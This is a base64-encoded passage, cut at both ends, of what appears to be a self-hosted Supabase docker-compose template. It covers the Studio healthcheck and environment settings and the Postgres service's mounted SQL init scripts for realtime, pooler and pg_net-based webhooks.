i4wMi1zaGEtOGYyOTkzZCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcGxhdGZvcm0vcHJvZmlsZScpLnRoZW4oKHIpID0+IHtpZiAoci5zdGF0dXMgIT09IDIwMCkgdGhyb3cgbmV3IEVycm9yKHIuc3RhdHVzKX0pIgogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBIT1NUTkFNRT0wLjAuMC4wCiAgICAgIC0gJ1NUVURJT19QR19NRVRBX1VSTD1odHRwOi8vc3VwYWJhc2UtbWV0YTo4MDgwJwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdERUZBVUxUX09SR0FOSVpBVElPTl9OQU1FPSR7U1RVRElPX0RFRkFVTFRfT1JHQU5JWkFUSU9OOi1EZWZhdWx0IE9yZ2FuaXphdGlvbn0nCiAgICAgIC0gJ0RFRkFVTFRfUFJPSkVDVF9OQU1FPSR7U1RVRElPX0RFRkFVTFRfUFJPSkVDVDotRGVmYXVsdCBQcm9qZWN0fScKICAgICAgLSAnU1VQQUJBU0VfVVJMPWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19VUkw9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtICdTVVBBQkFTRV9BTk9OX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VBTk9OX0tFWX0nCiAgICAgIC0gJ1NVUEFCQVNFX1NFUlZJQ0VfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnQVVUSF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICAgIC0gJ0xPR0ZMQVJFX1VSTD1odHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAnCiAgICAgIC0gJ1NVUEFCQVNFX1BVQkxJQ19BUEk9JHtTRVJWSUNFX1VSTF9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9j